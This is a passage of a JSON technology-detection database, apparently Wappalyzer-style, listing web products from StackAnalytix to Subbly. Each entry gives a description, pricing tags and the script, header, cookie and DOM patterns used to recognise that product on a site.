Analytix offers heatmaps, session recording, conversion analysis and user engagement tools.\",\n    \"icon\": \"Stack Analytix.svg\",\n    \"js\": {\n      \"stackAnalysis\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"api\\\\.stackanalytix\\\\.com\"\n    ],\n    \"website\": \"https://www.stackanalytix.com\"\n  },\n  \"StackCommerce\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"StackCommerce is a product discovery platform.\",\n    \"icon\": \"Stackcommerce.svg\",\n    \"js\": {\n      \"stackSonar\": \"\"\n    },\n    \"website\": \"https://www.stackcommerce.com/\"\n  },\n  \"StackPath\": {\n    \"cats\": [\n      31\n    ],\n    \"description\": \"StackPath is a cloud computing and services provider.\",\n    \"headers\": {\n      \"x-backend-server\": \"hosting\\\\.stackcp\\\\.net$\",\n      \"x-provided-by\": \"^StackCDN(?: ([\\\\d.]+))?\\\\;version:\\\\1\"\n    },\n    \"icon\": \"StackPath.svg\",\n    \"website\": \"https://www.stackpath.com\"\n  },\n  \"Stackable\": {\n    \"cats\": [\n      87,\n      51\n    ],\n    \"description\": \"Stackable is a plugin for WordPress that offers a collection of blocks, templates, and other design tools to help users create custom, professional-looking websites.\",\n    \"dom\": {\n      \"link[href*='/wp-content/plugins/stackable-ultimate-gutenberg-blocks']\": {\n        \"attributes\": {\n          \"href\": \"/wp-content/plugins/stackable-ultimate-gutenberg-blocks(?:-premium)?/.+\\\\.css(?:\\\\?ver=(\\\\d+(?:\\\\.\\\\d+)+))?\\\\;version:\\\\1\"\n        }\n      }\n    },\n    \"icon\": \"Stackable.svg\",\n    \"implies\": [\n      \"Gutenberg\"\n    ],\n    \"js\": {\n      \"stackable.restUrl\": \"\",\n      \"stackableAnimations\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\",\n      \"onetime\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://wpstackable.com\"\n  },\n  \"Stackbit\": {\n    \"cats\": [\n      51\n    ],\n    \"description\": \"Stackbit is a visual experience platform for building decoupled websites.\",\n    \"dom\": {\n      \"[data-sb-object-id]\": {\n        \"exists\": \"\"\n      },\n      \"header[data-sb-field-path]\": {\n        \"attributes\": {\n          \"data-sb-field-path\": \"\"\n        }\n      },\n      \"script#__NEXT_DATA__\": {\n        \"text\": \"stackbit\"\n      }\n    },\n    \"icon\": \"stackbit.svg\",\n    \"js\": {\n      \"__NEXT_DATA__.props.pageProps.withStackbit\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.stackbit\\\\.com\"\n    ],\n    \"website\": \"https://www.stackbit.com\"\n  },\n  \"StackerHQ\": {\n    \"cats\": [\n      51\n    ],\n    \"description\": \"StackerHQ is a tool in the low code platforms and application builders categories.\",\n    \"dom\": [\n      \"link[href*='cdn.stackerhq.com/']\"\n    ],\n    \"icon\": \"StackerHQ.svg\",\n    \"js\": {\n      \"stacker.install_feature\": \"\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.stackerhq.com\"\n  },\n  \"Stackify\": {\n    \"cats\": [\n      13,\n      78\n    ],\n    \"description\": \"Stackify offers the only solution that fully integrates application performance monitoring with errors and logs.\",\n    \"icon\": \"Stackify.svg\",\n    \"pricing\": [\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.stackify\\\\.com/\"\n    ],\n    \"website\": \"https://stackify.com\"\n  },\n  \"Staffbase\": {\n    \"cats\": [\n      101\n    ],\n    \"description\": \"Staffbase is an internal communications platform provider.\",\n    \"icon\": \"Staffbase.svg\",\n    \"js\": {\n      \"staffbase\": \"\",\n      \"staffbaseIconFontVersion\": \"\",\n      \"webpackChunkStaffbase\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.staffbasestatic\\\\.com/\"\n    ],\n    \"website\": \"https://staffbase.com\"\n  },\n  \"Stage Try\": {\n    \"cats\": [\n      91\n    ],\n    \"description\": \"Stage Try is an end-to-end ecommerce platform amplifying AOV and conversions of online stores.\",\n    \"icon\": \"Stage Try.svg\",\n    \"js\": {\n      \"stage_cart_change_events\": \"\",\n      \"stage_cart_total_price\": \"\"\n    },\n    \"pricing\": [\n      \"payg\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.stagetry\\\\.io/\"\n    ],\n    \"website\": \"https://stagetry.com\"\n  },\n  \"Stamped\": {\n    \"cats\": [\n      90\n    ],\n    \"description\": \"Stamped is a provider of reviews and ratings solution.\",\n    \"icon\": \"Stamped.svg\",\n    \"js\": {\n      \"StampedFn\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.stamped\\\\.io/\"\n    ],\n    \"website\": \"https://stamped.io/\"\n  },\n  \"StarTest\": {\n    \"cats\": [\n      16\n    ],\n    \"description\": \"StarTest is a CAPTCHA provider that safeguards websites, mobile apps, and APIs from automated bot-driven attacks.\",\n    \"icon\": \"StarTest.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.startest\\\\.top\"\n    ],\n    \"website\": \"https://startest.top\"\n  },\n  \"Starhost\": {\n    \"cats\": [\n      51,\n      62\n    ],\n    \"description\": \"Starhost provides a Platform-as-a-Service (PaaS) for website building, web hosting, and domain registration.\",\n    \"headers\": {\n      \"Cache-Control\": \"Starhost\",\n      \"X-Starhost\": \"\"\n    },\n    \"icon\": \"Starhost.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://starhost.verbosec.com\"\n  },\n  \"Starlet\": {\n    \"cats\": [\n      22\n    ],\n    \"description\": \"Starlet is a high-performance, lightweight web server for Perl applications.\",\n    \"headers\": {\n      \"Server\": \"^Plack::Handler::Starlet\"\n    },\n    \"icon\": \"Starlet.svg\",\n    \"implies\": [\n      \"Perl\"\n    ],\n    \"website\": \"https://metacpan.org/pod/Starlet\"\n  },\n  \"Starlight\": {\n    \"cats\": [\n      4\n    ],\n    \"description\": \"Starlight is a tool for creating documentation websites using Astro.\",\n    \"icon\": \"Starlight.svg\",\n    \"js\": {\n      \"StarlightThemeProvider.updatePickers\": \"\"\n    },\n    \"meta\": {\n      \"generator\": \"^Starlight v([\\\\d.]+)$\\\\;version:\\\\1\"\n    },\n    \"requires\": [\n      \"Astro\"\n    ],\n    \"website\": \"https://starlight.astro.build\"\n  },\n  \"Statamic\": {\n    \"cats\": [\n      1\n    ],\n    \"cpe\": \"cpe:2.3:a:statamic:statamic:*:*:*:*:*:laravel:*:*\",\n    \"description\": \"Statamic is an open-source and self-hosted content management system based on the PHP programming language.\",\n    \"headers\": {\n      \"x-powered-by\": \"^Statamic$\"\n    },\n    \"icon\": \"Statamic.svg\",\n    \"implies\": [\n      \"PHP\",\n      \"Laravel\"\n    ],\n    \"js\": {\n      \"Statamic\": \"\"\n    },\n    \"oss\": true,\n    \"pricing\": [\n      \"freemium\",\n      \"mid\",\n      \"payg\"\n    ],\n    \"saas\": false,\n    \"website\": \"https://statamic.com\"\n  },\n  \"Statcounter\": {\n    \"cats\": [\n      10\n    ],\n    \"icon\": \"Statcounter.svg\",\n    \"js\": {\n      \"_statcounter\": \"\",\n      \"sc_project\": \"\\\\;confidence:50\",\n      \"sc_security\": \"\\\\;confidence:50\"\n    },\n    \"scriptSrc\": [\n      \"statcounter\\\\.com/counter/counter\"\n    ],\n    \"website\": \"https://www.statcounter.com\"\n  },\n  \"Statically\": {\n    \"cats\": [\n      31\n    ],\n    \"description\": \"Statically is a free, fast and modern CDN for open-source projects, WordPress, images, and any static assets.\",\n    \"dom\": [\n      \"link[href*='cdn.statically.io/'], a[href*='cdn.statically.io/']\"\n    ],\n    \"headers\": {\n      \"Server\": \"^statically$\"\n    },\n    \"icon\": \"Statically.svg\",\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.statically\\\\.io/\"\n    ],\n    \"website\": \"https://statically.io\"\n  },\n  \"Statping\": {\n    \"cats\": [\n      13\n    ],\n    \"description\": \"Statping is an open-source status monitoring tool that helps you to monitor and analyse the performance of your websites, applications, and services. It can monitor multiple endpoints such as HTTP, HTTPS, TCP, DNS, and more.\",\n    \"dom\": {\n      \"noscript\": {\n        \"text\": \"We're\\\\ssorry\\\\sbut\\\\sStatping\"\n      }\n    },\n    \"icon\": \"Statping.svg\",\n    \"oss\": true,\n    \"requires\": [\n      \"Vue.js\",\n      \"core-js\"\n    ],\n    \"website\": \"https://github.com/statping/statping\"\n  },\n  \"Statsig\": {\n    \"cats\": [\n      10,\n      85\n    ],\n    \"description\": \"Statsig is a modern product experimentation platform that helps product teams continuously measure impact of every single feature they launch.\",\n    \"headers\": {\n      \"x-statsig-region\": \"\"\n    },\n    \"icon\": \"Statsig.svg\",\n    \"js\": {\n      \"statsig\": \"\",\n      \"statsigInitialized\": \"\",\n      \"statsigWWW\": \"\"\n    },\n    \"saas\": true,\n    \"website\": \"https://statsig.com/\",\n    \"xhr\": [\n      \"\\\\.statsigapi\\\\.net\"\n    ]\n  },\n  \"Status.io\": {\n    \"cats\": [\n      13\n    ],\n    \"description\": \"Status.io is a hosted system status page manager with features such as customised incident tracking, subscriber notifications, and more.\",\n    \"icon\": \"Status.io.svg\",\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"static\\\\.status\\\\.io/\"\n    ],\n    \"website\": \"https://status.io\"\n  },\n  \"StatusCast\": {\n    \"cats\": [\n      13\n    ],\n    \"description\": \"StatusCast is a hosted status page management software.\",\n    \"icon\": \"StatusCast.svg\",\n    \"js\": {\n      \"statuscast.libs.datatables\": \"\",\n      \"statuscast.ui\": \"\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://statuscast.com/status-page/\"\n  },\n  \"Statuspal\": {\n    \"cats\": [\n      13\n    ],\n    \"description\": \"Statuspal is a hosted status page and monitoring software for businesses of all kinds.\",\n    \"icon\": \"Statuspal.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"//statuspal\\\\.io/\"\n    ],\n    \"website\": \"https://statuspal.io\"\n  },\n  \"Stax\": {\n    \"cats\": [\n      41\n    ],\n    \"description\": \"Stax is a subscription-based platform offering integrated payment technology.\",\n    \"icon\": \"Stax.svg\",\n    \"js\": {\n      \"StaxJs\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"staxjs\\\\.staxpayments\\\\.com/\"\n    ],\n    \"website\": \"https://staxpayments.com\"\n  },\n  \"Stay22\": {\n    \"cats\": [\n      104,\n      71\n    ],\n    \"description\": \"Stay22 is a travel tech company that offers affiliate revenue generation opportunities for events, ticketing and travel media publications.\",\n    \"icon\": \"Stay22.svg\",\n    \"js\": {\n      \"Stay22.version\": \"([\\\\d\\\\.]+)$\\\\;version:\\\\1\"\n    },\n    \"pricing\": [\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.stay22\\\\.com/\"\n    ],\n    \"website\": \"https://www.stay22.com\"\n  },\n  \"Staytus\": {\n    \"cats\": [\n      13\n    ],\n    \"description\": \"Staytus is a free, open-source status site that you can install on your own servers.\",\n    \"icon\": \"Staytus.svg\",\n    \"meta\": {\n      \"generator\": \"^Staytus/([\\\\d\\\\.]+)$\\\\;version:\\\\1\"\n    },\n    \"oss\": true,\n    \"website\": \"https://staytus.co\"\n  },\n  \"SteelHouse\": {\n    \"cats\": [\n      77\n    ],\n    \"description\": \"SteelHouse is an advertising software company which provides services for brands, agencies, and direct marketers.\",\n    \"icon\": \"SteelHouse.png\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.steelhousemedia\\\\.com/(?:spx\\\\?dxver=([\\\\d.]+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://steelhouse.com\"\n  },\n  \"Stellar.js\": {\n    \"cats\": [\n      59\n    ],\n    \"description\": \"Stellar.js is a JavaScript library and jQuery plugin specifically designed to deliver parallax scrolling effects for web pages.\",\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"stellar(?:\\\\.min)?\\\\.js(?:\\\\?ver=((?:\\\\d+\\\\.)+\\\\d+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://markdalgleish.com/projects/stellar.js/\"\n  },\n  \"Stencil\": {\n    \"cats\": [\n      18\n    ],\n    \"description\": \"Stenciljs is an open-source web component compiler that enables developers to create reusable, interoperable UI components that can work across different frameworks and platforms.\",\n    \"dom\": [\n      \"html[data-stencil-build][class*='hydrated'], stencil-router, stencil-route-link\"\n    ],\n    \"icon\": \"Stencil.svg\",\n    \"js\": {\n      \"stencil.inspect\": \"\"\n    },\n    \"oss\": true,\n    \"website\": \"https://stenciljs.com\"\n  },\n  \"Stimulus\": {\n    \"cats\": [\n      12\n    ],\n    \"description\": \"A modest JavaScript framework for the HTML you already have.\",\n    \"html\": [\n      \"<[^>]+data-controller\"\n    ],\n    \"icon\": \"Stimulus.svg\",\n    \"website\": \"https://stimulusjs.org/\"\n  },\n  \"StimulusReflex\": {\n    \"cats\": [\n      18\n    ],\n    \"description\": \"StimulusReflex lets you create reactive web interfaces with Ruby on Rails.\",\n    \"dom\": [\n      \"[data-reflex]\"\n    ],\n    \"icon\": \"stimulus-reflex-logo.svg\",\n    \"implies\": [\n      \"Ruby on Rails\",\n      \"Stimulus\"\n    ],\n    \"scripts\": [\n      \"\\\\.stimulate\"\n    ],\n    \"website\": \"https://docs.stimulusreflex.com\"\n  },\n  \"Stitches\": {\n    \"cats\": [\n      12,\n      47\n    ],\n    \"description\": \"Stitches is a is a CSS-in-JS styling framework with near-zero runtime, SSR, and multi-variant support.\",\n    \"dom\": [\n      \"style#stitches\"\n    ],\n    \"icon\": \"Stitches.svg\",\n    \"meta\": {\n      \"generator\": \"^c-[A-Za-z]{5}$\"\n    },\n    \"oss\": true,\n    \"website\": \"https://stitches.dev\"\n  },\n  \"Stoplight\": {\n    \"cats\": [\n      4\n    ],\n    \"description\": \"Stoplight is a company that offers a platform for API design, documentation, testing, and collaboration throughout the API development lifecycle.\",\n    \"icon\": \"Stoplight.svg\",\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"//stoplight\\\\.io/\"\n    ],\n    \"website\": \"https://stoplight.io\"\n  },\n  \"StoreHippo\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"StoreHippo is a SaaS based ecommerce platform.\",\n    \"dom\": [\n      \"link[href*='.storehippo.com'], img[src*='.storehippo.com']\"\n    ],\n    \"icon\": \"StoreHippo.svg\",\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.storehippo.com\"\n  },\n  \"StorePoint\": {\n    \"cats\": [\n      35\n    ],\n    \"description\": \"StorePoint is a store locator software that allows anyone to build a store locator for their website and fully customize it to match the website theme, branding, colors, exact fonts and much more.\",\n    \"icon\": \"StorePoint.svg\",\n    \"js\": {\n      \"STOREPOINT\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.storepoint\\\\.co/\"\n    ],\n    \"website\": \"https://storepoint.co\"\n  },\n  \"StoreRocket\": {\n    \"cats\": [\n      79\n    ],\n    \"description\": \"StoreRocket is a fully customizable store locator for websites, requiring no coding skills.\",\n    \"icon\": \"StoreRocket.svg\",\n    \"js\": {\n      \"StoreRocket\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.storerocket\\\\.io\"\n    ],\n    \"website\": \"https://storerocket.io\"\n  },\n  \"Storearmy\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Storearmy is a platform that allows you to sell products on your website and manage an online ecommerce store system.\",\n    \"icon\": \"Storearmy.svg\",\n    \"js\": {\n      \"Storearmy\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"/storearmy\\\\.min\\\\.js\"\n    ],\n    \"website\": \"https://storearmy.com\"\n  },\n  \"Storeden\": {\n    \"cats\": [\n      6\n    ],\n    \"headers\": {\n      \"X-Powered-By\": \"Storeden\"\n    },\n    \"icon\": \"storeden.svg\",\n    \"website\": \"https://www.storeden.com\"\n  },\n  \"Storefront UI\": {\n    \"cats\": [\n      66\n    ],\n    \"description\": \"Storefront UI is an independent, Vue. js-based, library of UI components.\",\n    \"dom\": {\n      \"link[href*='/dist/sfui']\": {\n        \"attributes\": {\n          \"href\": \"/dist/sfui.+\\\\.js\"\n        }\n      }\n    },\n    \"icon\": \"Storefront UI.svg\",\n    \"implies\": [\n      \"Vue.js\"\n    ],\n    \"oss\": true,\n    \"website\": \"https://vuestorefront.io/storefront-ui\"\n  },\n  \"Storeino\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Storeino is an ecommerce platform that enables businesses and physical store owners to open a professional online store and sell products online regardless of their geographical location.\",\n    \"icon\": \"Storeino.svg\",\n    \"implies\": [\n      \"Express\",\n      \"MongoDB\",\n      \"Node.js\"\n    ],\n    \"js\": {\n      \"StoreinoApp\": \"\"\n    },\n    \"meta\": {\n      \"platform\": \"^Storeino$\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.storeino.com\"\n  },\n  \"Storeplum\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Storeplum is a no-code ecommerce platform.\",\n    \"dom\": [\n      \"a[href*='//storeplum.in/'][target='_blank']\"\n    ],\n    \"icon\": \"Storeplum.svg\",\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.storeplum.com\"\n  },\n  \"StorifyMe\": {\n    \"cats\": [\n      5\n    ],\n    \"description\": \"StorifyMe is a storytelling platform for creating and distributing web stories on social networks and the open web.\",\n    \"dom\": [\n      \"link[href*='cdn.storifyme.com/']\"\n    ],\n    \"icon\": \"StorifyMe.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.storifyme\\\\.com/\"\n    ],\n    \"website\": \"https://www.storifyme.com\"\n  },\n  \"StoryStream\": {\n    \"cats\": [\n      96\n    ],\n    \"description\": \"StoryStream is a content curation platform that specialises in user generated content.\",\n    \"icon\": \"StoryStream.png\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"apps\\\\.storystream\\\\.ai/\"\n    ],\n    \"website\": \"https://storystream.ai\"\n  },\n  \"Storyblok\": {\n    \"cats\": [\n      1\n    ],\n    \"description\": \"Storyblok is a headless CMS with a visual editor for developers, marketers and content editors. Storyblok helps your team to manage content and digital experiences for every use-case from corporate websites, ecommerce, helpdesks, mobile apps, screen displays, and more.\",\n    \"dom\": [\n      \"img[src*='//a.storyblok.com/'], img[srcset*='a.storyblok.com']\"\n    ],\n    \"headers\": {\n      \"content-security-policy\": \"app\\\\.storyblok\\\\.com\",\n      \"x-frame-options\": \"app\\\\.storyblok\\\\.com\"\n    },\n    \"icon\": \"Storyblok.svg\",\n    \"js\": {\n      \"StoryblokBridge\": \"\",\n      \"storyblokRegisterEvent\": \"\"\n    },\n    \"pricing\": [\n      \"recurring\",\n      \"mid\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.storyblok.com\"\n  },\n  \"Storybook\": {\n    \"cats\": [\n      47,\n      66\n    ],\n    \"description\": \"Storybook is a frontend workshop for building UI components and pages in isolation.\",\n    \"icon\": \"storybook.svg\",\n    \"js\": {\n      \"__STORYBOOKADDONS__\": \"\",\n      \"__STORYBOOK_ADDONS\": \"\"\n    },\n    \"oss\": true,\n    \"website\": \"https://storybook.js.org\"\n  },\n  \"Storylane\": {\n    \"cats\": [\n      32\n    ],\n    \"description\": \"Storylane is a platform facilitating the creation and distribution of interactive product demos tailored for SaaS sales and marketing teams.\",\n    \"icon\": \"Storylane.svg\",\n    \"js\": {\n      \"Storylane\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"js\\\\.storylane\\\\.io/js/v(\\\\d+)/storylane\\\\.js\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://www.storylane.io\"\n  },\n  \"Storyly\": {\n    \"cats\": [\n      76\n    ],\n    \"description\": \"Storyly is a platform that enables the creation of personalized, shoppable experiences for apps and websites.\",\n    \"icon\": \"Storyly.svg\",\n    \"js\": {\n      \"StorylyWeb\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"web-story\\\\.storyly\\\\.io/v(\\\\d+)\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://www.storyly.io\"\n  },\n  \"Strapdown.js\": {\n    \"cats\": [\n      12\n    ],\n    \"icon\": \"strapdown.js.png\",\n    \"implies\": [\n      \"Bootstrap\",\n      \"Google Code Prettify\"\n    ],\n    \"scriptSrc\": [\n      \"strapdown\\\\.js\"\n    ],\n    \"website\": \"https://strapdownjs.com\"\n  },\n  \"Strapi\": {\n    \"cats\": [\n      1\n    ],\n    \"cpe\": \"cpe:2.3:a:strapi:strapi:*:*:*:*:*:*:*:*\",\n    \"description\": \"Strapi is an open-source headless CMS used for building fast and easily manageable APIs written in JavaScript.\",\n    \"headers\": {\n      \"X-Powered-By\": \"^Strapi\"\n    },\n    \"icon\": \"Strapi.svg\",\n    \"oss\": true,\n    \"scripts\": [\n      \"(?://|-)strapi-\"\n    ],\n    \"website\": \"https://strapi.io\"\n  },\n  \"Strato\": {\n    \"cats\": [\n      88,\n      62\n    ],\n    \"description\": \"Strato is an internet hosting service provider headquartered in Berlin, Germany which provide dedicated server hosting, a website builder and a cloud storage services.\",\n    \"dns\": {\n      \"SOA\": \"\\\\.strato-rz\\\\.de\"\n    },\n    \"icon\": \"Strato.svg\",\n    \"pricing\": [\n      \"recurring\",\n      \"payg\"\n    ],\n    \"website\": \"https://www.strato.com\"\n  },\n  \"Strato Website\": {\n    \"cats\": [\n      1\n    ],\n    \"description\": \"Strato Website is a website builder by Strato hosting provider.\",\n    \"icon\": \"Strato.svg\",\n    \"js\": {\n      \"Strftime.configuration\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"scriptSrc\": [\n      \"strato-editor\\\\.com/\"\n    ],\n    \"website\": \"https://www.strato.de/homepage-baukasten\"\n  },\n  \"Strattic\": {\n    \"cats\": [\n      88\n    ],\n    \"description\": \"Strattic offers static and headless hosting for WordPress sites.\",\n    \"headers\": {\n      \"x-powered-by\": \"Strattic\"\n    },\n    \"icon\": \"strattic.svg\",\n    \"implies\": [\n      \"WordPress\"\n    ],\n    \"pricing\": [\n      \"recurring\",\n      \"low\"\n    ],\n    \"website\": \"https://www.strattic.com/\"\n  },\n  \"Streamlit\": {\n    \"cats\": [\n      18\n    ],\n    \"cookies\": {\n      \"_streamlit_csrf\": \"\",\n      \"streamlit_session\": \"\"\n    },\n    \"description\": \"Streamlit is an open-source Python framework enabling data scientists and AI/ML engineers to create data applications with minimal coding requirements.\",\n    \"icon\": \"Streamlit.svg\",\n    \"oss\": true,\n    \"pricing\": [\n      \"freemium\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://streamlit.io\"\n  },\n  \"Streamoid\": {\n    \"cats\": [\n      76\n    ],\n    \"description\": \"Streamoid is a fashion AI optimization and personalization solution, enhancing user experiences through tailored recommendations.\",\n    \"dom\": [\n      \"link[href*='.sdk.streamoid.com/']\"\n    ],\n    \"icon\": \"Streamoid.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.streamoid.com\"\n  },\n  \"Streamwood\": {\n    \"cats\": [\n      5,\n      52\n    ],\n    \"description\": \"Streamwood is a call back and chat system designed to facilitate efficient communication.\",\n    \"icon\": \"Streamwood.svg\",\n    \"js\": {\n      \"__STREAMWOOD_MUTEX_QP3\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"clients\\\\.streamwood\\\\.ru/\"\n    ],\n    \"website\": \"https://streamwood.ru\"\n  },\n  \"Strikingly\": {\n    \"cats\": [\n      1\n    ],\n    \"cpe\": \"cpe:2.3:a:strikingly:strikingly:*:*:*:*:*:*:*:*\",\n    \"html\": [\n      \"<!-- Powered by Strikingly\\\\.com\"\n    ],\n    \"icon\": \"Strikingly.svg\",\n    \"website\": \"https://strikingly.com\"\n  },\n  \"Stripe\": {\n    \"cats\": [\n      41\n    ],\n    \"cookies\": {\n      \"__stripe_mid\": \"\",\n      \"__stripe_sid\": \"\"\n    },\n    \"cpe\": \"cpe:2.3:a:stripe:stripe:*:*:*:*:*:*:*:*\",\n    \"description\": \"Stripe offers online payment processing for internet businesses as well as fraud prevention, invoicing and subscription management.\",\n    \"dns\": {\n      \"TXT\": \"stripe-verification=\"\n    },\n    \"dom\": [\n      \"a[href*='billing.stripe.com'][target='_blank']\"\n    ],\n    \"html\": [\n      \"<input[^>]+data-stripe\"\n    ],\n    \"icon\": \"Stripe.svg\",\n    \"js\": {\n      \"Stripe.version\": \"^(.+)$\\\\;version:\\\\1\",\n      \"__NEXT_DATA__.props.pageProps.appSettings.STRIPE_API_PUBLIC_KEY\": \"\",\n      \"checkout.enabledpayments.stripe\": \"^true$\",\n      \"stripePublicKey\": \"\"\n    },\n    \"pricing\": [\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"js\\\\.stripe\\\\.com\"\n    ],\n    \"website\": \"https://stripe.com\"\n  },\n  \"Strolid\": {\n    \"cats\": [\n      53\n    ],\n    \"description\": \"Strolid is an automotive BDC that integrates with various industry CRMs, enabling dealerships to automate workflows.\",\n    \"icon\": \"Strolid.svg\",\n    \"js\": {\n      \"STROLID.strolid_chat_widget_url\": \"\"\n    },\n    \"saas\": true,\n    \"website\": \"https://strolid.com\"\n  },\n  \"StrutFit\": {\n    \"cats\": [\n      76\n    ],\n    \"description\": \"StrutFit is an online sizing platform for footwear retailers.\",\n    \"dom\": [\n      \"iframe[scr*='.strut.fit/']\"\n    ],\n    \"icon\": \"StrutFit.svg\",\n    \"js\": {\n      \"rerenderStrutfit\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.strut.fit\"\n  },\n  \"Styla\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Styla is a content commerce suite that automatically designs content and integrates shopping features, enhancing customer engagement and driving sales.\",\n    \"icon\": \"Styla.svg\",\n    \"js\": {\n      \"styla.init\": \"\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.styla.com\"\n  },\n  \"Stylitics\": {\n    \"cats\": [\n      32\n    ],\n    \"description\": \"Stylitics is a cloud-based SaaS platform for retailers to automate and distribute visual content at scale.\",\n    \"dom\": [\n      \"link[href*='.stylitics.com']\"\n    ],\n    \"icon\": \"Stylitics.svg\",\n    \"js\": {\n      \"Stylitics\": \"\",\n      \"stylitics\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.stylitics\\\\.com/v([\\\\d.]+)\\\\;version:\\\\1\",\n      \"/stylitics/js/stylitics\\\\.js\\\\?ver=v([\\\\d.]+)\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://stylitics.com\"\n  },\n  \"Sub2Tech\": {\n    \"cats\": [\n      97\n    ],\n    \"description\": \"Sub2Tech is combining real time customer data with industry-leading technology.\",\n    \"icon\": \"Sub2Tech.svg\",\n    \"js\": {\n      \"SUB2.codebaseversion\": \"^([\\\\d\\\\.]+)$\\\\;version:\\\\1\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.sub2tech\\\\.com/\"\n    ],\n    \"website\": \"https://www.sub2tech.com\"\n  },\n  \"Subbly\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Subbly is a web-based subscription ecommerce platform designed to help businesses build websites, enhance marketing automation, create coupon and discount codes and manage customers.\",\n    \"icon\": \"Subbly.svg\",\n    \"js\": {\n      \"subblyProductUrlBase\": \"\"\n    },\n    \"meta\": {\n      \"generator\": \"^Subbly$\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"static\\\\.subbly\\\\.me/assets/\"\n    ],\n    \"website\": 